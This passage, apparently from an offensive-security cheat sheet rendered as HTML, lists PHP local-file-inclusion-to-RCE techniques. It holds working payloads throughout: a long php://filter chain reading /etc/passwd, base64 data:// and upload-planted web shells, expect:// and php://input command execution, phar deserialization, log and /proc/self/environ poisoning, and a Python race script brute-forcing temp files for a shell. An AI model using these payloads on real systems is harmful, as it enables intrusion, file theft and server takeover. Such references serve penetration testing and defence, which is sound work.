<a id="__codelineno-15-5" name="__codelineno-15-5" href="#__codelineno-15-5"></a><span class="nb">curl </span><span class="s2">"127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"</span>
|
|
</code></pre></div></li>
|
|
</ul>
|
|
<h3 id="wrapper-data">Wrapper data://</h3>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">net</span><span class="p">/</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">data</span><span class="p">://</span><span class="n">text</span><span class="p">/</span><span class="n">plain</span><span class="p">;</span><span class="n">base64</span><span class="p">,</span><span class="n">PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4</span><span class="p">=</span>
|
|
<a id="__codelineno-16-2" name="__codelineno-16-2" href="#__codelineno-16-2"></a><span class="n">NOTE</span><span class="p">:</span> <span class="n">the</span> <span class="n">payload</span> <span class="n">is</span> <span class="s2">"<?php system($_GET['cmd']);echo 'Shell done !'; ?>"</span>
|
|
</code></pre></div>
|
|
<p>Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : <code>http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+</code></p>
|
|
<h3 id="wrapper-expect">Wrapper expect://</h3>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">expect</span><span class="p">://</span><span class="n">id</span>
|
|
<a id="__codelineno-17-2" name="__codelineno-17-2" href="#__codelineno-17-2"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">expect</span><span class="p">://</span><span class="nb">ls</span>
|
|
</code></pre></div>
|
|
<h3 id="wrapper-input">Wrapper input://</h3>
|
|
<p>Specify your payload in the POST parameters, this can be done with a simple <code>curl</code> command.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="nb">curl </span><span class="n">-X</span> <span class="n">POST</span> <span class="p">-</span><span class="n">-data</span> <span class="s2">"<?php echo shell_exec('id'); ?>"</span> <span class="s2">"https://example.com/index.php?page=php://input%00"</span> <span class="n">-k</span> <span class="n">-v</span>
|
|
</code></pre></div>
|
|
<p>Alternatively, Kadimus has a module to automate this attack.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="p">./</span><span class="n">kadimus</span> <span class="n">-u</span> <span class="s2">"https://example.com/index.php?page=php://input%00"</span> <span class="n">-C</span> <span class="s1">'<?php echo shell_exec("id"); ?>'</span> <span class="n">-T</span> <span class="n">input</span>
|
|
</code></pre></div>
|
|
<h3 id="wrapper-zip">Wrapper zip://</h3>
|
|
<ol>
|
|
<li>Create an evil payload: <code>echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;</code></li>
|
|
<li>Zip the file
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a><span class="nb">zip</span> <span class="n">payload</span><span class="o">.</span><span class="n">zip</span> <span class="n">payload</span><span class="o">.</span><span class="n">php</span><span class="p">;</span>
|
|
<a id="__codelineno-20-2" name="__codelineno-20-2" href="#__codelineno-20-2"></a><span class="n">mv</span> <span class="n">payload</span><span class="o">.</span><span class="n">zip</span> <span class="n">shell</span><span class="o">.</span><span class="n">jpg</span><span class="p">;</span>
|
|
<a id="__codelineno-20-3" name="__codelineno-20-3" href="#__codelineno-20-3"></a><span class="n">rm</span> <span class="n">payload</span><span class="o">.</span><span class="n">php</span>
|
|
</code></pre></div></li>
|
|
<li>Upload the archive and access the file using the wrappers: http://example.com/index.php?page=zip://shell.jpg%23payload.php</li>
|
|
</ol>
|
|
<h3 id="wrapper-phar">Wrapper phar://</h3>
|
|
<p>Create a phar file with a serialized object in its meta-data.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a><span class="x">// create new Phar</span>
|
|
<a id="__codelineno-21-2" name="__codelineno-21-2" href="#__codelineno-21-2"></a><span class="x">$phar = new Phar('test.phar');</span>
|
|
<a id="__codelineno-21-3" name="__codelineno-21-3" href="#__codelineno-21-3"></a><span class="x">$phar->startBuffering();</span>
|
|
<a id="__codelineno-21-4" name="__codelineno-21-4" href="#__codelineno-21-4"></a><span class="x">$phar->addFromString('test.txt', 'text');</span>
|
|
<a id="__codelineno-21-5" name="__codelineno-21-5" href="#__codelineno-21-5"></a><span class="x">$phar->setStub('</span><span class="cp"><?php</span> <span class="nx">__HALT_COMPILER</span><span class="p">();</span> <span class="o">?</span> <span class="o">></span><span class="s1">');</span>
|
|
<a id="__codelineno-21-6" name="__codelineno-21-6" href="#__codelineno-21-6"></a>
|
|
<a id="__codelineno-21-7" name="__codelineno-21-7" href="#__codelineno-21-7"></a><span class="s1">// add object of any class as meta data</span>
|
|
<a id="__codelineno-21-8" name="__codelineno-21-8" href="#__codelineno-21-8"></a><span class="s1">class AnyClass {}</span>
|
|
<a id="__codelineno-21-9" name="__codelineno-21-9" href="#__codelineno-21-9"></a><span class="s1">$object = new AnyClass;</span>
|
|
<a id="__codelineno-21-10" name="__codelineno-21-10" href="#__codelineno-21-10"></a><span class="s1">$object->data = '</span><span class="nx">rips</span><span class="err">'</span><span class="p">;</span>
|
|
<a id="__codelineno-21-11" name="__codelineno-21-11" href="#__codelineno-21-11"></a><span class="nv">$phar</span><span class="o">-></span><span class="na">setMetadata</span><span class="p">(</span><span class="nv">$object</span><span class="p">);</span>
|
|
<a id="__codelineno-21-12" name="__codelineno-21-12" href="#__codelineno-21-12"></a><span class="nv">$phar</span><span class="o">-></span><span class="na">stopBuffering</span><span class="p">();</span>
|
|
</code></pre></div>
|
|
<p>If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-22-1" name="__codelineno-22-1" href="#__codelineno-22-1"></a><span class="x">class AnyClass {</span>
|
|
<a id="__codelineno-22-2" name="__codelineno-22-2" href="#__codelineno-22-2"></a><span class="x"> function __destruct() {</span>
|
|
<a id="__codelineno-22-3" name="__codelineno-22-3" href="#__codelineno-22-3"></a><span class="x"> echo $this->data;</span>
|
|
<a id="__codelineno-22-4" name="__codelineno-22-4" href="#__codelineno-22-4"></a><span class="x"> }</span>
|
|
<a id="__codelineno-22-5" name="__codelineno-22-5" href="#__codelineno-22-5"></a><span class="x">}</span>
|
|
<a id="__codelineno-22-6" name="__codelineno-22-6" href="#__codelineno-22-6"></a><span class="x">// output: rips</span>
|
|
<a id="__codelineno-22-7" name="__codelineno-22-7" href="#__codelineno-22-7"></a><span class="x">include('phar://test.phar');</span>
|
|
</code></pre></div>
|
|
<p>NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, <code>file_exists</code> and many more.</p>
|
|
<h3 id="wrapper-converticonv-and-dechunk">Wrapper convert.iconv:// and dechunk://</h3>
|
|
<h4 id="leak-file-content-from-error-based-oracle">Leak file content from error-based oracle</h4>
|
|
<ul>
|
|
<li><code>convert.iconv://</code>: convert input into another folder (<code>convert.iconv.utf-16le.utf-8</code>)</li>
|
|
<li><code>dechunk://</code>: if the string contains no newlines, it will wipe the entire string if and only if
|
|
the string starts with A-Fa-f0-9</li>
|
|
</ul>
|
|
<p>The goal of this exploitation is to leak the content of a file, one character at a time, based on the <a href="https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py">DownUnderCTF</a> writeup.</p>
|
|
<p><strong>Requirements</strong>:
|
|
- Backend must not use <code>file_exists</code> or <code>is_file</code>.
|
|
- Vulnerable parameter should be in a <code>POST</code> request.
|
|
- You can't leak more than 135 characters in a GET request due to the size limit</p>
|
|
<p>The exploit chain is based on PHP filters: <code>iconv</code> and <code>dechunk</code>:</p>
|
|
<ol>
|
|
<li>Use the <code>iconv</code> filter with an encoding increasing the data size exponentially to trigger a memory error.</li>
|
|
<li>Use the <code>dechunk</code> filter to determine the first character of the file, based on the previous error.</li>
|
|
<li>Use the <code>iconv</code> filter again with encodings having different bytes ordering to swap remaining characters with the first one.</li>
|
|
</ol>
|
|
<p>Exploit using <a href="https://github.com/synacktiv/php_filter_chains_oracle_exploit">synacktiv/php_filter_chains_oracle_exploit</a>, the script will use either the <code>HTTP status code: 500</code> or the time as an error-based oracle to determine the character.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-23-1" name="__codelineno-23-1" href="#__codelineno-23-1"></a><span class="p">$</span> <span class="n">python3</span> <span class="n">filters_chain_oracle_exploit</span><span class="p">.</span><span class="n">py</span> <span class="p">-</span><span class="n">-target</span> <span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span> <span class="p">-</span><span class="o">-file</span> <span class="s1">'/test'</span> <span class="p">-</span><span class="n">-parameter</span> <span class="n">0</span>
|
|
<a id="__codelineno-23-2" name="__codelineno-23-2" href="#__codelineno-23-2"></a><span class="p">[*]</span> <span class="n">The</span> <span class="n">following</span> <span class="n">URL</span> <span class="n">is</span> <span class="n">targeted</span> <span class="p">:</span> <span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span>
|
|
<a id="__codelineno-23-3" name="__codelineno-23-3" href="#__codelineno-23-3"></a><span class="p">[*]</span> <span class="n">The</span> <span class="n">following</span> <span class="n">local</span> <span class="n">file</span> <span class="n">is</span> <span class="n">leaked</span> <span class="p">:</span> <span class="p">/</span><span class="n">test</span>
|
|
<a id="__codelineno-23-4" name="__codelineno-23-4" href="#__codelineno-23-4"></a><span class="p">[*]</span> <span class="n">Running</span> <span class="n">POST</span> <span class="n">requests</span>
|
|
<a id="__codelineno-23-5" name="__codelineno-23-5" href="#__codelineno-23-5"></a><span class="p">[+]</span> <span class="n">File</span> <span class="p">/</span><span class="n">test</span> <span class="n">leak</span> <span class="n">is</span> <span class="n">finished</span><span class="p">!</span>
|
|
</code></pre></div>
|
|
<h4 id="leak-file-content-inside-a-custom-format-output">Leak file content inside a custom format output</h4>
|
|
<ul>
|
|
<li><a href="https://github.com/ambionics/wrapwrap">ambionics/wrapwrap</a> - Generates a <code>php://filter</code> chain that adds a prefix and a suffix to the contents of a file.</li>
|
|
</ul>
|
|
<p>To obtain the contents of some file, we would like to have: <code>{"message":"<file contents>"}</code>.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-24-1" name="__codelineno-24-1" href="#__codelineno-24-1"></a><span class="p">./</span><span class="n">wrapwrap</span><span class="p">.</span><span class="n">py</span> <span class="p">/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span> <span class="s1">'PREFIX'</span> <span class="s1">'SUFFIX'</span> <span class="n">1000</span>
|
|
<a id="__codelineno-24-2" name="__codelineno-24-2" href="#__codelineno-24-2"></a><span class="p">./</span><span class="n">wrapwrap</span><span class="p">.</span><span class="n">py</span> <span class="p">/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span> <span class="s1">'{"message":"'</span> <span class="s1">'"}'</span> <span class="n">1000</span>
|
|
<a id="__codelineno-24-3" name="__codelineno-24-3" href="#__codelineno-24-3"></a><span class="p">./</span><span class="n">wrapwrap</span><span class="p">.</span><span class="n">py</span> <span class="p">/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span> <span class="s1">'<root><name>'</span> <span class="s1">'</name></root>'</span> <span class="n">1000</span>
|
|
</code></pre></div>
|
|
<p>This can be used against vulnerable code like the following.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-25-1" name="__codelineno-25-1" href="#__codelineno-25-1"></a><span class="cp"><?php</span>
|
|
<a id="__codelineno-25-2" name="__codelineno-25-2" href="#__codelineno-25-2"></a> <span class="nv">$data</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'url'</span><span class="p">]);</span>
|
|
<a id="__codelineno-25-3" name="__codelineno-25-3" href="#__codelineno-25-3"></a> <span class="nv">$data</span> <span class="o">=</span> <span class="nb">json_decode</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span>
|
|
<a id="__codelineno-25-4" name="__codelineno-25-4" href="#__codelineno-25-4"></a> <span class="k">echo</span> <span class="nv">$data</span><span class="o">-></span><span class="na">message</span><span class="p">;</span>
|
|
<a id="__codelineno-25-5" name="__codelineno-25-5" href="#__codelineno-25-5"></a><span class="cp">?></span>
|
|
</code></pre></div>
|
|
<h2 id="lfi-to-rce-via-procfd">LFI to RCE via /proc/*/fd</h2>
|
|
<ol>
|
|
<li>Upload a lot of shells (for example : 100)</li>
|
|
<li>Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)</li>
|
|
</ol>
|
|
<h2 id="lfi-to-rce-via-procselfenviron">LFI to RCE via /proc/self/environ</h2>
|
|
<p>Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-26-1" name="__codelineno-26-1" href="#__codelineno-26-1"></a><span class="n">GET</span> <span class="n">vulnerable</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">filename</span><span class="p">=../../../</span><span class="n">proc</span><span class="p">/</span><span class="n">self</span><span class="p">/</span><span class="n">environ</span> <span class="n">HTTP</span><span class="p">/</span><span class="n">1</span><span class="p">.</span><span class="n">1</span>
|
|
<a id="__codelineno-26-2" name="__codelineno-26-2" href="#__codelineno-26-2"></a><span class="n">User-Agent</span><span class="p">:</span> <span class="p"><?=</span><span class="n">phpinfo</span><span class="p">();</span> <span class="p">?></span>
|
|
</code></pre></div>
|
|
<h2 id="lfi-to-rce-via-upload">LFI to RCE via upload</h2>
|
|
<p>If you can upload a file, just inject the shell payload in it (e.g : <code><?php system($_GET['c']); ?></code> ).</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-27-1" name="__codelineno-27-1" href="#__codelineno-27-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">path</span><span class="p">/</span><span class="n">to</span><span class="p">/</span><span class="n">uploaded</span><span class="p">/</span><span class="n">file</span><span class="p">.</span><span class="n">png</span>
|
|
</code></pre></div>
|
|
<p>In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf</p>
|
|
<h2 id="lfi-to-rce-via-upload-race">LFI to RCE via upload (race)</h2>
|
|
<ul>
|
|
<li>Upload a file and trigger a self-inclusion.</li>
|
|
<li>Repeat the upload a shitload of time to:</li>
|
|
<li>increase our odds of winning the race</li>
|
|
<li>increase our guessing odds</li>
|
|
<li>Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}</li>
|
|
<li>Enjoy our shell.</li>
|
|
</ul>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-28-1" name="__codelineno-28-1" href="#__codelineno-28-1"></a><span class="kn">import</span> <span class="nn">itertools</span>
|
|
<a id="__codelineno-28-2" name="__codelineno-28-2" href="#__codelineno-28-2"></a><span class="kn">import</span> <span class="nn">requests</span>
|
|
<a id="__codelineno-28-3" name="__codelineno-28-3" href="#__codelineno-28-3"></a><span class="kn">import</span> <span class="nn">sys</span>
|
|
<a id="__codelineno-28-4" name="__codelineno-28-4" href="#__codelineno-28-4"></a>
|
|
<a id="__codelineno-28-5" name="__codelineno-28-5" href="#__codelineno-28-5"></a><span class="nb">print</span><span class="p">(</span><span class="s1">'[+] Trying to win the race'</span><span class="p">)</span>
|
|
<a id="__codelineno-28-6" name="__codelineno-28-6" href="#__codelineno-28-6"></a><span class="n">f</span> <span class="o">=</span> <span class="p">{</span><span class="s1">'file'</span><span class="p">:</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'shell.php'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)}</span>
|
|
<a id="__codelineno-28-7" name="__codelineno-28-7" href="#__codelineno-28-7"></a><span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4096</span> <span class="o">*</span> <span class="mi">4096</span><span class="p">):</span>
|
|
<a id="__codelineno-28-8" name="__codelineno-28-8" href="#__codelineno-28-8"></a> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="s1">'http://target.com/index.php?c=index.php'</span><span class="p">,</span> <span class="n">f</span><span class="p">)</span>
|
|
<a id="__codelineno-28-9" name="__codelineno-28-9" href="#__codelineno-28-9"></a>
|
|
<a id="__codelineno-28-10" name="__codelineno-28-10" href="#__codelineno-28-10"></a>
|
|
<a id="__codelineno-28-11" name="__codelineno-28-11" href="#__codelineno-28-11"></a><span class="nb">print</span><span class="p">(</span><span class="s1">'[+] Bruteforcing the inclusion'</span><span class="p">)</span>
|
|
<a id="__codelineno-28-12" name="__codelineno-28-12" href="#__codelineno-28-12"></a><span class="k">for</span> <span class="n">fname</span> <span class="ow">in</span> <span class="n">itertools</span><span class="o">.</span><span class="n">combinations</span><span class="p">(</span><span class="n">string</span><span class="o">.</span><span class="n">ascii_letters</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">digits</span><span class="p">,</span> <span class="mi">6</span><span class="p">):</span>
|
|
<a id="__codelineno-28-13" name="__codelineno-28-13" href="#__codelineno-28-13"></a> <span class="n">url</span> <span class="o">=</span> <span class="s1">'http://target.com/index.php?c=/tmp/php'</span> <span class="o">+</span> <span class="n">fname</span>
|
|
<a id="__codelineno-28-14" name="__codelineno-28-14" href="#__codelineno-28-14"></a> <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
|
|
<a id="__codelineno-28-15" name="__codelineno-28-15" href="#__codelineno-28-15"></a> <span class="k">if</span> <span class="s1">'load average'</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">:</span> <span class="c1"># <?php echo system('uptime');</span>
|
|
<a id="__codelineno-28-16" name="__codelineno-28-16" href="#__codelineno-28-16"></a> <span class="nb">print</span><span class="p">(</span><span class="s1">'[+] We have got a shell: '</span> <span class="o">+</span> <span class="n">url</span><span class="p">)</span>
|
|
<a id="__codelineno-28-17" name="__codelineno-28-17" href="#__codelineno-28-17"></a> <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
|
|
<a id="__codelineno-28-18" name="__codelineno-28-18" href="#__codelineno-28-18"></a>
|
|
<a id="__codelineno-28-19" name="__codelineno-28-19" href="#__codelineno-28-19"></a><span class="nb">print</span><span class="p">(</span><span class="s1">'[x] Something went wrong, please try again'</span><span class="p">)</span>
|
|
</code></pre></div>
|
|
<h2 id="lfi-to-rce-via-upload-findfirstfile">LFI to RCE via upload (FindFirstFile)</h2>
|
|
<p><img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.0.3/assets/svg/26a0.svg" title=":warning:" /> Only works on Windows</p>
|
|
<p><code>FindFirstFile</code> allows using masks (<code><<</code> as <code>*</code> and <code>></code> as <code>?</code>) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories.</p>
|
|
<ul>
|
|
<li><code>*</code>/<code><<</code> : Represents any sequence of characters.</li>
|
|
<li><code>?</code>/<code>></code> : Represents any single character.</li>
|
|
</ul>
|
|
<p>Upload a file, it should be stored in the temp folder <code>C:\Windows\Temp\</code> with a generated name like <code>php[A-F0-9]{4}.tmp</code>.
|
|
Then either bruteforce the 65536 filenames or use a wildcard character like: <code>http://site/vuln.php?inc=c:\windows\temp\php<<</code></p>
|
|
<h2 id="lfi-to-rce-via-phpinfo">LFI to RCE via phpinfo()</h2>
|
|
<p>PHPinfo() displays the content of any variables such as <strong>$_GET</strong>, <strong>$_POST</strong> and <strong>$_FILES</strong>.</p>
|
|
<blockquote>
|
|
<p>By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.</p>
|
|
</blockquote>
|
|
<p>Use the script <a href="https://www.insomniasec.com/downloads/publications/phpinfolfi.py">phpInfoLFI.py</a></p>
|
|
<p>Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf</p>
|
|
<h2 id="lfi-to-rce-via-controlled-log-file">LFI to RCE via controlled log file</h2>
|
|
<p>Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-29-1" name="__codelineno-29-1" href="#__codelineno-29-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">apache</span><span class="p">/</span><span class="n">access</span><span class="p">.</span><span class="n">log</span>
|
|
<a id="__codelineno-29-2" name="__codelineno-29-2" href="#__codelineno-29-2"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">apache</span><span class="p">/</span><span class="n">error</span><span class="p">.</span><span class="n">log</span>
|
|
<a id="__codelineno-29-3" name="__codelineno-29-3" href="#__codelineno-29-3"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">apache2</span><span class="p">/</span><span class="n">access</span><span class="p">.</span><span class="n">log</span>
|
|
<a id="__codelineno-29-4" name="__codelineno-29-4" href="#__codelineno-29-4"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">apache2</span><span class="p">/</span><span class="n">error</span><span class="p">.</span><span class="n">log</span>
|
|
<a id="__codelineno-29-5" name="__codelineno-29-5" href="#__codelineno-29-5"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">nginx</span><span class="p">/</span><span class="n">access</span><span class="p">.</span><span class="n">log</span>
|
|
<a id="__codelineno-29-6" name="__codelineno-29-6" href="#__codelineno-29-6"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">nginx</span><span class="p">/</span><span class="n">error</span><span class="p">.</span><span class="n">log</span>
|
|
